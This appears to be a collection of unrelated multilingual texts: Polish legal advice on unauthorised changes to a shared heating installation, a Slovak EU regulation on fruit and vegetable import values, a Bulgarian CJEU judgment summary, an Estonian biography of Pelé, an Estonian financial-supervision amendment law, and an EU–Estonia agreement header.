 Gdyby wskutek ingerencji w instalację grzewczą przestało działać ogrzewanie, to osoby korzystające z innych lokali mogłyby mieć roszczenie odszkodowawcze, np. dotyczące zwrotu kosztów używanej do ogrzewania energii elektrycznej lub gazu. Podobnie rzecz przedstawiałaby się w przypadku wystąpienia szkód bezpośrednich (np. w następstwie zalania lub rozsadzenia instalacji). Ewentualne wystąpienie takich szkód w Pańskim mieszkaniu mogłoby skutkować nawet odmową wypłacenia odszkodowania przez zakład ubezpieczeń. Brak ogrzewania w czasie skrajnie niskich temperatur może stanowić nawet zagrożenie dla życia i zdrowia ludzkiego – w takim przypadku zapewne prokuratura podjęłaby czynności (i to z urzędu). Wywołanie katastrofy budowlanej lub spowodowanie zagrożenia taką katastrofą może skutkować nawet skazaniem przez sąd karny – art. 163 lub art. 164 Kodeksu karnego (K.k.). W grę mogą wchodzić przepisy wykroczeniowe, w tym zawarte w Prawie budowlanym.
 Inspekcja nadzoru budowlanego jest uprawniona (zwłaszcza w poważnych sytuacjach) nakazać wykonanie określonych prac – np. mających na celu likwidację samowoli budowlanej (bo samowolne ingerencje w instalację wspólną zapewne byłyby samowolą budowlaną, być może nawet w przypadku zgody spółdzielni mieszkaniowej). Gdyby ktoś zdecydował się na drogę cywilną, np. ktoś z sąsiedztwa na podstawie „prawa sąsiedzkiego” (art. 144 K.c.) wydałby zgodę na wykonanie prac mających na celu przywrócenia zgodnego z prawem (i zarazem funkcjonalnego) stanu instalacji. Pan zapewne może wyobrazić sobie nie tylko koszty (o których refundację do Pana raczej by wystąpiono), ale również zamieszanie (związane z przymusową interwencją ekipy technicznej, np. w obecności komornika sądowego) i koszty (np. szkody związane z wywarzeniem drzwi, w przypadku potrzeby dostania się do miejsca przeprowadzania prac technicznych). Jeden podmiot może okazać się nieśmiały, ale inny może korzystać z maksymalnych możności działania.
 Artykuł 16 ustawy o własności lokali pozwala nawet na sprzedaż egzekucyjną nieruchomości lokalowej, jeżeli właściciel lokalu bardzo niewłaściwie postępuje w odniesieniu do danej wspólnoty mieszkaniowej – może to dotyczyć wywołania poważnych utrudnień w korzystaniu z innych lokali; w takim przypadku nie przysługuje prawo do lokalu zamiennego, a poza tym trzeba liczyć się z dużymi kosztami (w tym postępowania egzekucyjnego). Do artykułu 16 ustawy o własności lokali znalazło się odesłanie w ustawie o spółdzielniach mieszkaniowych – w tym w jej art. 1710 (dotyczącym spółdzielczego własnościowego prawa do lokalu). Moim zdaniem, perspektywa nawet utraty lokalu to poważne zagrożenie, być może poważniejsze od prawdopodobnego wykluczenia z grona członków spółdzielni mieszkaniowej.
 Jestem po rozwodzie. Były mąż mieszka w naszym wspólnym mieszkaniu własnościowym. Jest trzech współwłaścicieli: ja, mój były mąż i córka....
 Moja mama oddała prawo najmu swojego dużego mieszkania spółdzielczego mojej siostrze. W tym czasie za niewielkie pieniądze można było mieszkania...


text:
 30.1.2015
 SK
 Úradný vestník Európskej únie
 L 24/14
 VYKONÁVACIE NARIADENIE KOMISIE (EÚ) 2015/142
 z 29. januára 2015,
 ktorým sa ustanovujú paušálne dovozné hodnoty na určovanie vstupných cien niektorých druhov ovocia a zeleniny
 EURÓPSKA KOMISIA,
 so zreteľom na Zmluvu o fungovaní Európskej únie,
 so zreteľom na nariadenie Európskeho parlamentu a Rady (EÚ) č. 1308/2013 zo 17. decembra 2013, ktorým sa vytvára spoločná organizácia trhov s poľnohospodárskymi výrobkami, a ktorým sa zrušujú nariadenia Rady (EHS) č. 922/72, (EHS) č. 234/79, (ES) č. 1037/2001 a (ES) č. 1234/2007 (1),
 so zreteľom na vykonávacie nariadenie Komisie (EÚ) č. 543/2011 zo 7. júna 2011, ktorým sa ustanovujú podrobné pravidlá uplatňovania nariadenia Rady (ES) č. 1234/2007, pokiaľ ide o sektory ovocia a zeleniny a spracovaného ovocia a zeleniny (2), a najmä na jeho článok 136 ods. 1,
 keďže:
 (1)
 Vykonávacím nariadením (EÚ) č. 543/2011 sa v súlade s výsledkami Uruguajského kola mnohostranných obchodných rokovaní ustanovujú kritériá, na základe ktorých Komisia stanovuje paušálne hodnoty na dovoz z tretích krajín, pokiaľ ide o výrobky a obdobia uvedené v časti A prílohy XVI k uvedenému nariadeniu.
 (2)
 Paušálne dovozné hodnoty sa vypočítajú každý pracovný deň v súlade s článkom 136 ods. 1 vykonávacieho nariadenia (EÚ) č. 543/2011, pričom sa zohľadnia premenlivé každodenné údaje. Toto nariadenie by preto malo nadobudnúť účinnosť dňom jeho uverejnenia v Úradnom vestníku Európskej únie,
 PRIJALA TOTO NARIADENIE:
 Článok 1
 Paušálne dovozné hodnoty uvedené v článku 136 vykonávacieho nariadenia (EÚ) č. 543/2011 sú stanovené v prílohe k tomuto nariadeniu.
 Článok 2
 Toto nariadenie nadobúda účinnosť dňom jeho uverejnenia v Úradnom vestníku Európskej únie.
 Toto nariadenie je záväzné v celom rozsahu a priamo uplatniteľné vo všetkých členských štátoch.
 V Bruseli 29. januára 2015
 Za Komisiu
 v mene predsedu
 Jerzy PLEWA
 generálny riaditeľ pre poľnohospodárstvo a rozvoj vidieka
 (1) Ú. v. EÚ L 347, 20.12.2013, s. 671.
 (2) Ú. v. EÚ L 157, 15.6.2011, s. 1.
 PRÍLOHA
 Paušálne dovozné hodnoty na určovanie vstupných cien niektorých druhov ovocia a zeleniny
 (EUR/100 kg)
 Číselný znak KN
 Kód tretej krajiny (1)
 Paušálna dovozná hodnota
 0702 00 00
 EG
 362,8
 MA
 89,9
 TR
 133,5
 ZZ
 195,4
 0707 00 05
 JO
 229,9
 TR
 203,2
 ZZ
 216,6
 0709 91 00
 EG
 107,0
 ZZ
 107,0
 0709 93 10
 EG
 165,4
 MA
 225,0
 TR
 222,2
 ZZ
 204,2
 0805 10 20
 EG
 47,9
 IL
 78,7
 MA
 68,5
 TN
 62,6
 TR
 76,4
 ZZ
 66,8
 0805 20 10
 IL
 148,1
 MA
 91,9
 ZZ
 120,0
 0805 20 30 , 0805 20 50 , 0805 20 70 , 0805 20 90
 CN
 54,3
 EG
 74,4
 IL
 125,6
 MA
 130,8
 TR
 80,6
 ZZ
 93,1
 0805 50 10
 TR
 42,1
 ZZ
 42,1
 0808 10 80
 BR
 58,5
 CL
 89,9
 MK
 26,7
 US
 181,6
 ZZ
 89,2
 0808 30 90
 CL
 316,1
 US
 243,1
 ZA
 93,7
 ZZ
 217,6
 (1) Nomenklatúra krajín stanovená nariadením Komisie (EÚ) č. 1106/2012 z 27. novembra 2012, ktorým sa vykonáva nariadenie Európskeho parlamentu a Rady (ES) č. 471/2009 o štatistike Spoločenstva o zahraničnom obchode s nečlenskými krajinami, pokiaľ ide o aktualizáciu nomenklatúry krajín a území (Ú. v. EÚ L 328, 28.11.2012, s. 7). Kód „ZZ“ znamená „iného pôvodu“.


text:
 3.8.2013
 BG
 Официален вестник на Европейския съюз
 C 225/7
 Решение на Съда (голям състав) от 4 юни 2013 г. (преюдициално запитване от Court of Appeal (England & Wales) (Civil Division) — Обединено кралство) — ZZ/Secretary of State for the Home Department
 (Дело C-300/11) (1)
 (Свободно движение на хора - Директива 2004/38/ЕО - Решение, забраняващо на гражданин на Европейския съюз достъп до територията на държава членка по съображения, свързани с националната сигурност - Член 30, параграф 2 от посочената директива - Задължение да се информира съответният гражданин за мотивите за приемане на това решение - Разкриване, което противоречи на интересите на държавната сигурност - Основно право на ефективна съдебна защита)
 2013/C 225/10
 Език на производството: английски
 Запитваща юрисдикция
 Court of Appeal (England & Wales) (Civil Division)
 Страни в главното производство
 Жалбоподател: ZZ
 Ответник: Secretary of State for the Home Department
 Предмет
 Преюдициално запитване — Court of Appeal (England & Wales) (Civil Division) — Тълкуване в светлината на член 346, параграф l, буква a) ДФЕС на член 30, параграф 2 от Директива 2004/38/ЕО на Европейския парламент и на Съвета от 29 април 2004 година относно правото на граждани на Съюза и на членове на техните семейства да се движат и да пребивават свободно на територията на държавите членки, за изменение на Регламент (ЕИО) No 1612/68 и отменяща Директиви 64/221/ЕИО, 68/360/ЕИО, 72/194/ЕИО, 73/148/ЕИО, 75/34/ЕИО, 75/35/ЕИО, 90/364/ЕИО, 90/365/ЕИО и 93/96/ЕИО (ОВ L 158, стр. 77; Специално издание на български език, 2007 г., глава 5, том 7, стр. 56) — Право на ефективна съдебна защита — Решение да се откаже достъпа на гражданин на държава членка до територията на друга държава членка по съображения за обществена сигурност — Задължение за уведомяване на гражданина за основанията за отказания достъп въпреки становището на компетентните органи, че подобно разкриване на информация е в противоречие с интересите на държавната сигурност
 Диспозитив
 Член 30, параграф 2 и член 31 от Директива 2004/38/ЕО на Европейския парламент и на Съвета от 29 април 2004 година относно правото на граждани на Съюза и на членове на техните семейства да се движат и да пребивават свободно на територията на държавите членки, за изменение на Регламент (ЕИО) No 1612/68 и отменяща директиви 64/221/ЕИО, 68/360/ЕИО, 72/194/ЕИО, 73/148/ЕИО, 75/34/ЕИО, 75/35/ЕИО, 90/364/ЕИО, 90/365/ЕИО и 93/96/ЕИО, разгледани в светлината на член 47 от Хартата на основните права на Европейския съюз, трябва да се тълкуват в смисъл, че изискват компетентният национален съд да следи за това неразкриването на заинтересованото лице от компетентния национален орган на точните и изчерпателни съображения, на които се основава решение, прието на основание член 27 от посочената директива, както и на свързаните с това решение доказателства да се сведе до строго необходимото и за това заинтересованото лице във всички случаи да бъде информирано по същество за мотивите, по такъв начин че да се отчете надлежно необходимата степен на поверителност на доказателствата.
 (1) ОВ C 252, 27.8.2011 г.


text:
Pelé (õieti Edson Arantes do Nascimento; sündinud 23. oktoobril 1940 Três Coraçõesis (Minas Geraisi osariigis) on endine Brasiilia jalgpallikoondise ründaja. Ta on kolmekordne maailmameister (1958, 1962, 1970). Pelé on valitud 20. sajandi parimaks jalgpalluriks.
 Elukäik
 Sarnaselt paljude teiste brasiilia poistega oli temagi noorena kõva tänavajalgpallur. Kui pere kolis teise väikelinna Baurusesse, avanes Pelé talent. Juba 15-aastaselt võeti ta Bauru jalgpalliklubi täiskasvanute meeskonda ning elu esimesel ametlikul turniiril lõi Pelé 15 mängus 40 väravat!
 Kõmu poisi heast mängust levis ja 1956. aastal kutsuti ta mainekasse klubisse Santos FC. Jalgpalliringkondade imestus oli seda suurem, kui nooruk lõi esimeses võidetud mängus Santose esindusrivistuses kuuest väravast koguni neli.
 16-aastaselt arvati Pelé Brasiilia rahvuskoondisse, esimese maavõistluse pidas ta 7. juulil 1957 Argentina vastu kuulsal Maracana staadionil. Brasiilia küll kaotas selle mängu 1:2, kuid vastuvärava autor oli Pelé.
 Kolm päeva hiljem toimus São Paulos revanšmäng ning taas oli Pelé platsil. Ta hiilgas kõigis mängufaasides: lõi juhtvärava ja andis täpse söödu Brasiilia teisele väravale. Pärast 2:0 võitu Argentina üle oli Pelé kodumaal kui rahvuskangelane ning siitpeale algas tema võidukäik rahvusvahelisel areenil.
 Aastal 1958 tuli Brasiilia koos Peléga esimest korda maailmameistriks, seda saavutust korrati 1962. ja 1970. aastal. Pelé säras kõigil turniiridel: ta oli kiire, hea hüppevõime ja hiilgava tehnikaga edurivimees.
 Pelé mängis aastatel 1956–1974 klubis Santos FC ja 1975–1977 klubis New Yorgi Cosmos. Mitmesugustes Brasiilia liigades osales ta 560 mängus ja lõi neis 541 väravat (mängu kohta 0,97). Ajavahemikus 1957–1977 pidas Brasiilia rahvuskoondis kokku 207 maavõistlust. Pelé oli sunnitud erinevatel põhjustel neist rohkem kui pooltest eemale jääma. Brasiilia koondises mängitud 92 kohtumises lõi ta 77 väravat.
 Vigastuste tõttu ei suutnud Pelé lõpuni rivis olla. Ometi tuli ta 10 korda São Paulo osariigi meistriks, 1959. aastal Lõuna-Ameerika meistriks, kuuludes Brasiilia meeskondadesse, kes võitsid 9 korda mitmesuguseid Lõuna-Ameerika karikaturniire.
 Kui Pelé USA profiliigasse oma karjääri lõpetama läks, tuli ta Cosmose meeskonnas ka USA meistriks. Just selles klubis pani Pelé oma sportlaskarjäärile punkti – 1. oktoober 1977 oli ta Giant Stadiumil 77 000 pealtvaataja ees väljakul vana armsa klubi Santos FC vastu. See jäi tema viimaseks ametlikuks mänguks.
 Kolmekordne maailmameister lõi oma karjääri jooksul 1363 mängus kokku 1281 väravat (mängu kohta 0,94), mille hulgas kuues kohtumises saavutas ta viis ning ühes (1964 Botafogo vastu) koguni kaheksa väravat. Oma 1000. värava, millest vaimustus terve maailma spordiajakirjandus, lõi Pelé 19. novembril 1969 võidumängus Rio de Janeiro Vasco da Gama vastu.
 Pelé teenis jalgpalliga palju raha ning see lubas tal hiljem äriga tegelema hakata. Talle pakuti ka treenerikohta, kuid Pelé loobus. Jalgpallikommentaatorina televisioonis tegutses ta meeleldi ning säilitas head sidemed Santose klubiga. Kodumaal juhtivate jalgpalliringkondade suhtes aga võttis Pelé kriitilise hoiaku, eriti siis, kui ta üldsuse survel Brasiilia spordiministriks hakkas. Ta ei olnud rahul jalgpalli seisuga ega jätkuvate lahkhelidega jalgpalliringkondades.
 Isiklikku
 Aastatel 1966–1978 oli Pelé abielus Rosemary Cholbyga, kellega on tal kolm last. Lahutus toimus 1982. aastal.
 Aastal 1994 abiellus ta Assíria Lemos Seixaga ning on kaksikute isa.
 Välislingid
 Jüri Laulik. Igavene jalgpallikuningas Pelé Sirp, 14. jaanuar 2011
 2. detsember 2014. BBC News Online. Pele: Brasiilia legend jätkab paranemist haiglas (inglise keeles)
 Brasiilia jalgpallurid
 Santos FC mängijad
 FIFA 100
 Sündinud 1940


text:
Finantsinspektsiooni seaduse, investeerimisfondide seaduse, krediidiasutuste seaduse, väärtpaberituru seaduse ja riigilõivuseaduse muutmise seadus – Riigi Teataja
 Finantsinspektsiooni seaduse, investeerimisfondide seaduse, krediidiasutuste seaduse, väärtpaberituru seaduse ja riigilõivuseaduse muutmise seadus
 RT I 2005, 59, 463
 Vastu võetud 19.10.2005
 Vabariigi Presidendi 7. novembri 2005. a otsusega nr 910
 § 1. Finantsinspektsiooni seaduse muutmine
 Finantsinspektsiooni seaduses (RT I 2001, 48, 267; 2005, 13, 64) tehakse järgmised muudatused:
 « (1) Riiklik finantsjärelevalve (edaspidi finantsjärelevalve) käesoleva seaduse tähenduses on järelevalve riikliku finantsjärelevalve subjektide (edaspidi finantsjärelevalve subjekt) üle ning käesolevas seaduses, krediidiasutuste seaduses, kindlustustegevuse seaduses, investeerimisfondide seaduses, kogumispensionide seaduses, väärtpaberituru seaduses, liikluskindlustuse seaduses, e-raha asutuste seaduses ja Eesti väärtpaberite keskregistri seaduses ning nende alusel kehtestatud õigusaktides sätestatud tegevuse üle.»;
 2) paragrahvi 7 lõike 2 punktis 2 ja § 18 lõike 3 punktis 3 asendatakse sõnad «§-s 45» sõnadega «§-s 37»;
 3) paragrahvi 7 lõiget 2 täiendatakse punktiga 21 järgmises sõnastuses:
 « 21) kinnitab eelarve ülejäägi kasutamise;»;
 4) paragrahvi 15 lõike 3 punktis 2 asendatakse sõnad «§ 36 lõigetes 1–3» sõnadega «§ 38 lõigetes 2 ja 3»;
 5) paragrahvi 18 lõiget 3 täiendatakse punktiga 21 järgmises sõnastuses:
 « 21) esitab nõukogule ettepaneku käesoleva seaduse §-s 371 sätestatud eelarve ülejäägi kasutamiseks;»;
 6) paragrahvi 18 lõike 3 punkt 8 muudetakse ja sõnastatakse järgmiselt:
 « 8) esitab nõukogule teadmiseks käesoleva seaduse § 49 lõikes 2 nimetatud ettepanekud ja ülevaated.»;
 7) seaduse 4. peatükk sõnastatakse järgmiselt:
 «4. peatükk
 (1) Kui Inspektsiooni eelarveaasta tulud ületavad kulusid, võib tekkinud eelarve ülejäägi arvel moodustada reserve, teha kulutusi või investeeringuid või tagastada ülejääk ühetaoliselt ja proportsionaalselt järelevalvesubjektidele.
 (2) Investeerimisühing, Eesti väärtpaberite keskregistri pidaja, väärtpaberiarveldussüsteemi korraldaja, reguleeritud väärtpaberituru korraldaja, kindlustusandja, krediidiasutus, e-raha asutus ja fondivalitseja maksavad järelevalvetasu kapitali- ja mahuosa, välja arvatud käesoleva seaduse § 43 lõigetes 5 ja 6 sätestatud juhtudel. E-raha asutus, kes kasutab e-raha asutuste seaduse §-s 11 sätestatud õigust, maksab järelevalvetasu üksnes mahuosas.
 (3) Kindlustusmaakler, välisriigi äriühingu Eesti filiaal, kes tegutseb investeerimisühingu, kindlustusandja, kindlustusmaakleri, krediidiasutuse, e-raha asutuse või fondivalitseja tegevusalal, maksab üksnes järelevalvetasu mahuosa, välja arvatud käesoleva seaduse § 43 lõigetes 5 ja 6 sätestatud juhtudel.
 4) Eesti väärtpaberite keskregistri pidajana tegutsev äriühing, kes ei ole krediidiasutus, fondivalitseja ega investeerimisühing, maksab järelevalvetasu Eesti väärtpaberite keskregistri pidajana;
 5) e-raha asutusena tegutsev äriühing, kes ei ole krediidiasutus, maksab järelevalvetasu e-raha asutusena.
 2) kindlustusandja korral tegevusloas märgitud kindlustustegevuse liigiga tegelemiseks õigusakti kohaselt nõutavast kõrgeimast minimaalsest omavahendite summast;
 3) Eesti väärtpaberite keskregistri pidaja ja väärtpaberiarveldussüsteemi korraldaja korral õigusakti kohaselt nõutavast kõrgeimast minimaalsest omakapitali summast;
 4) investeerimisühingu, reguleeritud väärtpaberituru korraldaja, e-raha asutuse ja fondivalitseja korral tegevusloas märgitud tegevusalaga tegelemiseks õigusakti kohaselt nõutavast kõrgeimast minimaalsest aktsiakapitali summast.
 3) investeerimisfondide seaduse §-s 252 sätestatud rahaturufondi või välisriigi investeerimisfondi, mida selle riigi õigusaktide kohaselt käsitletakse rahaturufondina (edaspidi rahaturufond), valitseva fondivalitseja või välisriigi fondivalitseja Eesti filiaali korral 0,001 kuni 0,1 protsendiga fondivalitseja või vastava Eesti filiaali poolt valitsetavate rahaturufondide varast;
 5) käesoleva lõike punktides 3 ja 4 nimetamata investeerimisfonde valitseva fondivalitseja või välisriigi fondivalitseja Eesti filiaali korral 0,01 kuni 0,25 protsendiga fondivalitseja või vastava Eesti filiaali poolt valitsetavate investeerimisfondide varast;
 6) kahjukindlustuse või selle edasikindlustusega tegeleva kindlustusandja ning vastava välisriigi kindlustusandja Eesti filiaali korral 0,05 kuni 0,5 protsendiga kindlustusandja või vastava Eesti filiaali brutopreemiatest. Brutopreemiate hulka ei arvata kindlustusandjale makstud edasikindlustuse kindlustuspreemiaid juhul, kui edasikindlustuslepingu järgne edasikindlustusvõtja on Eestis registreeritud kindlustusandja;
 7) elukindlustuse või selle edasikindlustusega tegeleva kindlustusandja ning vastava välisriigi kindlustusandja Eesti filiaali korral 0,02 kuni 0,25 protsendiga kindlustusandja või vastava Eesti filiaali vara ja brutopreemiate kogusummast;
 9) Eesti väärtpaberite keskregistri pidaja korral 0,1 kuni 0,7 protsendiga ärituludest;
 11) e-raha asutuse või välisriigi e-raha asutuse Eesti filiaali korral 0,05–0,5 protsendiga e-raha asutuse või vastava Eesti filiaali varast.
 (1) Järelevalvetasu mahuosa määr kehtestatakse kalendriaastaks protsendina käesoleva seaduse § 39 lõikes 2 sätestatud piires. Määra kehtestab rahandusminister määrusega 15 päeva jooksul pärast Inspektsiooni eelarve kinnitamist nõukogu poolt.
 (2) Käesoleva seaduse § 39 lõike 2 punktides 4 ja 5 nimetatud investeerimisfondide korral võib nõukogu näha ette erinevaid mahuosa määrasid, lähtuvalt valitsetavate investeerimisfondide tüübist või investeerimisfondide tingimustes või põhikirjas ette nähtud investeerimispoliitikast.
 (3) Järelevalvetasu mahuosa määr on ühtne kõigile samal tegevusalal tegutsevatele isikutele ja välisriigi äriühingute Eesti filiaalidele.
 (1) Krediidiasutuse, e-raha asutuse, investeerimisühingu ja fondivalitseja järelevalvetasu mahuosa ettemakse arvutamisel võetakse aluseks selle isiku või vastava välisriigi järelevalve subjekti Eesti filiaali vara aritmeetiline keskmine, mis on arvutatud tema Inspektsioonile esitatud bilansi andmetel eelmise aasta 31. detsembri ning jooksva aasta 31. märtsi ja 30. juuni seisuga.
 (2) Elukindlustusega või elukindlustuse edasikindlustusega tegeleva kindlustusandja järelevalvetasu mahuosa ettemakse arvutamisel võetakse aluseks selle isiku või vastava välisriigi kindlustusandja Eesti filiaali vara aritmeetiline keskmine, mis on arvutatud tema Inspektsioonile esitatud bilansi andmetel eelmise aasta 31. detsembri ning jooksva aasta 31. märtsi ja 30. juuni seisuga, ja Inspektsioonile esitatud jooksva aasta esimese kuue kuu brutopreemiate kahekordne kogusumma.
 (3) Kahjukindlustusega või kahjukindlustuse edasikindlustusega tegeleva kindlustusandja järelevalvetasu mahuosa ettemakse arvutamisel võetakse aluseks selle isiku või vastava välisriigi kindlustusandja Eesti filiaali Inspektsioonile esitatud jooksva aasta esimese kuue kuu brutopreemiate kahekordne kogusumma.
 (4) Kindlustusmaakleri järelevalvetasu mahuosa ettemakse arvutamisel võetakse aluseks selle isiku või vastava välisriigi kindlustusmaakleri Eesti filiaali Inspektsioonile esitatud eelmise aasta raamatupidamise aastaaruandes kajastatud vahendustasude kogusumma.
 (5) Eesti väärtpaberite keskregistri pidaja, väärtpaberiarveldussüsteemi korraldaja ja reguleeritud väärtpaberituru korraldaja järelevalvetasu mahuosa ettemakse arvutamisel võetakse aluseks selle isiku eelmise aasta kasumiaruandes kajastatud äritulu.
 (1) Krediidiasutuse, e-raha asutuse, investeerimisühingu ja fondivalitseja järelevalvetasu mahuosa lõppmakse arvutamisel võetakse aluseks selle isiku või vastava välisriigi järelevalve subjekti Eesti filiaali vara aritmeetiline keskmine, mis on arvutatud tema Inspektsioonile esitatud bilansi andmetel eelmise aasta 31. märtsi, 30. juuni, 30. septembri ja 31. detsembri seisuga.
 (2) Elukindlustusega või elukindlustuse edasikindlustusega tegeleva kindlustusandja järelevalvetasu mahuosa lõppmakse arvutamisel võetakse aluseks selle isiku või vastava välisriigi kindlustusandja Eesti filiaali vara aritmeetiline keskmine, mis on arvutatud tema Inspektsioonile esitatud bilansi andmetel eelmise aasta 31. märtsi, 30. juuni, 30. septembri ja 31. detsembri seisuga, ning Inspektsioonile esitatud eelmise aasta brutopreemiate kogusumma.
 (3) Kahjukindlustusega või kahjukindlustuse edasikindlustusega tegeleva kindlustusandja järelevalvetasu mahuosa lõppmakse arvutamisel võetakse aluseks selle isiku või vastava välisriigi kindlustusandja Eesti filiaali Inspektsioonile esitatud eelmise aasta brutopreemiate kogusumma.
 (4) Kindlustusmaakleri järelevalvetasu mahuosa lõppmakse arvutamisel võetakse aluseks selle isiku või vastava välisriigi kindlustusmaakleri Eesti filiaali Inspektsioonile esitatud eelmise aasta raamatupidamise aastaaruandes kajastatud vahendustasude kogusumma.
 (5) Eesti väärtpaberite keskregistri pidaja, väärtpaberiarveldussüsteemi korraldaja ja reguleeritud väärtpaberituru korraldaja järelevalvetasu mahuosa lõppmakse arvutamisel võetakse aluseks selle isiku eelmise aasta kasumiaruandes kajastatud äritulu.
 (6) Rahastamiskohustuse tekkimisel kalendriaasta kestel võetakse järgneva eelarveaasta järelevalvetasu mahuosa lõppmakse arvutamisel aluseks käesoleva paragrahvi lõigetes 1–3 sätestatud vara ja eelmise aasta brutopreemiate kogusumma 31. detsembri seisuga.
 (1) Järelevalvetasu summa tasumiseks saadab Inspektsioon vastavasisulise ettekirjutuse.
 (6) Välisriigi investeerimisühingu, kindlustusandja, kindlustusmaakleri, krediidiasutuse, e-raha asutuse või fondivalitseja filiaal tasub rahastamiskohustuse tekkimisel kalendriaasta esimesel poolaastal järelevalvetasu lõppmakse summas, mis vastab investeerimisühingu, kindlustusandja, kindlustusmaakleri, krediidiasutuse, e-raha asutuse või fondivalitseja poolt tasutava järelevalvetasu kapitaliosale pooles ulatuses.
 (8) Välisriigi investeerimisühingu, kindlustusandja, kindlustusmaakleri, krediidiasutuse, e-raha asutuse või fondivalitseja filiaal tasub rahastamiskohustuse tekkimisel kalendriaasta teisel poolaastal järelevalvetasu lõppmakse summas, mis vastab investeerimisühingu, kindlustusandja, kindlustusmaakleri, krediidiasutuse, e-raha asutuse või fondivalitseja poolt tasutava järelevalvetasu kapitaliosale veerandi ulatuses.
 (9) Käesoleva paragrahvi lõigetes 6 ja 8 sätestatud juhul võrdub kindlustusmaakleri järelevalvetasu kapitaliosa summa 1000 euroga.
 Kui järelevalvetasu maksmiseks kohustatud isik ei tasu järelevalvetasu ettenähtud tähtaja jooksul, on Inspektsioonil õigus anda järelevalvetasu maksmiseks kohustav ettekirjutus sundtäitmisele täitemenetluse seadustikus sätestatud korras.
 Menetlustasu
 (2) Kindlustusandja, investeerimisühingu, reguleeritud väärtpaberituru korraldaja, väärtpaberiarveldussüsteemi korraldaja, e-raha asutuse või fondivalitseja tegevusloa taotlemisel tasutakse menetlustasu 1000 eurot.
 (3) Kolmandas riigis registreeritud kindlustusandja, investeerimisühingu, e-raha asutuse või fondivalitseja filiaali asutamiseks Eestis, samuti kolmandas riigis registreeritud fondivalitseja ning investeerimisühingu poolt Eestis piiriülese teenuse osutamiseks loa taotlemisel tasutakse menetlustasu 1000 eurot.
 § 454. Täiendava tegevusloa taotlemine
 Kindlustusandja, investeerimisühingu või fondivalitseja poolt täiendava tegevusloa taotlemisel tasutakse menetlustasu 500 eurot.
 § 455. Väärtpaberite avaliku pakkumise registreerimise taotlemine
 Väärtpaberite, välja arvatud investeerimisfondide aktsiate ja osakute, avaliku pakkumise, kauplemis- või noteerimisprospekti registreerimise taotlemisel tasutakse menetlustasu 600 eurot.
 § 457. Fondi tingimuste, nende muutmise ja välisriigi fondi osakute või aktsiate pakkumise registreerimise taotlemine
 (1) Lepingulise fondi tingimuste registreerimise või aktsiaseltsina asutatava fondi asutamise kooskõlastamise taotlemisel tasutakse menetlustasu 600 eurot.
 (2) Lepingulise fondi tingimuste või aktsiaseltsina asutatud fondi põhikirja muutmise registreerimise taotlemisel tasutakse menetlustasu 200 eurot.
 § 458. Reguleeritud turu reglemendi muudatuste kooskõlastamise taotlemine
 Reguleeritud turu reglemendi muudatuste kooskõlastamise taotlemisel tasutakse menetlustasu 250 eurot.
 4) menetlustasu tasunud isik loobub toimingust või taotluse esitamisest enne Inspektsiooni pöördumist.»;
 8) paragrahvi 46 lõike 2 punkti 1 täiendatakse ja punkt sõnastatakse järgmiselt:
 « 1) tütarettevõtjast investeerimisühingule, krediidiasutusele, fondivalitsejale, e-raha asutusele või kindlustusandjale (edaspidi finantsasutused), keda otseselt või kaudselt kontrollib välisriigi, mis ei ole käesoleva paragrahvi lõikes 4 nimetatud riik (edaspidi kolmas riik), õigusaktide alusel tegutsev või kolmandas riigis asuv emaettevõtja (edaspidi kolmanda riigi emaettevõtja), tegevusloa andmisest ja esitab seejuures konsolideerimisgrupi struktuuri;»;
 9) paragrahvi 49 lõige 1 tunnistatakse kehtetuks;
 10) paragrahvi 49 lõige 2 muudetakse ja sõnastatakse järgmiselt:
 « (2) Inspektsioonil on õigus esitada Eesti Pangale, Vabariigi Valitsusele, Rahandusministeeriumile ja muudele riigiasutustele ettepanekuid õigusaktide väljatöötamiseks, muutmiseks ja kehtetuks tunnistamiseks ning ülevaateid finantssektori tegevust ja finantsjärelevalvet käsitlevate õigusaktide mõju ja rakendamise kohta, samuti selliseid ettepanekuid ning ülevaateid avalikustada.»;
 11) paragrahvi 53 lõige 4 muudetakse ja sõnastatakse järgmiselt:
 « (4) Inspektsioon avalikustab oma veeblilehel rahandusministri kehtestatud korras ja ulatuses andmed:
 2) käesoleva seaduse § 2 lõikes 1 nimetatud seaduste alusel vastavat Eestis tegutsemise õigust omavate välisriigi isikute või institutsioonide Eestis asuvate filiaalide, esinduste ning nende poolt Eestis piiriüleste teenuste osutamise kohta.»;
 12) paragrahvi 64 täiendatakse lõikega 7 järgmises sõnastuses:
 « (7) Käesolevas seaduses eurodes väljendatud summad arvestatakse ümber Eesti kroonidesse Eesti Panga vahetuskursi alusel.»
 § 2. Investeerimisfondide seaduse muutmine
 Investeerimisfondide seaduse (RT I 2004, 36, 251; 90, 616) § 295 lõige 5 muudetakse ja sõnastatakse järgmiselt:
 « (5) Käesolevas paragrahvis nimetatud andmed avalikustatakse vastavalt Finantsinspektsiooni seaduse § 53 lõikes 4 sätestatule.»
 § 3. Krediidiasutuste seaduse muutmine
 Krediidiasutuste seaduse (RT I 1999, 23, 349; 2005, 39, 308) § 108 lõige 3 muudetakse ja sõnastatakse järgmiselt:
 « (3) Käesolevas paragrahvis nimetatud andmed avalikustatakse vastavalt Finantsinspektsiooni seaduse § 53 lõikes 4 sätestatule.»
 § 4. Väärtpaberituru seaduse muutmine
 Väärtpaberituru seaduses (RT I 2001, 89, 532; 2005, 39, 308) tehakse järgmised muudatused:
 1) paragrahvi 237 lõige 2 muudetakse ja sõnastatakse järgmiselt:
 « (2) Käesolevas paragrahvis nimetatud andmed avalikustatakse vastavalt Finantsinspektsiooni seaduse § 53 lõikes 4 sätestatule.»;
 2) paragrahvi 237 lõige 3 tunnistatakse kehtetuks.
 § 5. Riigilõivuseaduse muutmine
 Riigilõivuseaduse (RT I 1997, 80, 1344; 2005, 39, 308) § 3 lõike 2 punkt 10, § 23 ning 7. peatüki 3. jagu tunnistatakse kehtetuks.
 Käesolev seadus jõustub 2005. aasta 15. novembril, e-raha asutuste osas e-raha asutuste seaduse jõustumisel.


type: contracts

text:
 Avis juridique important
 |
 22001A1117(01)
 Agreement in the form of an Exchange of Letters between the European Community and the Republic of Estonia terminating Protocol 1 on trade in textile and clothing products to the Europe Agreement establishing an association between the European Communities and their Member States, of the one part, and the Republic of Estonia, of the other part
 Official Journal L 301 , 17/11/2001 P. 0036 - 0036
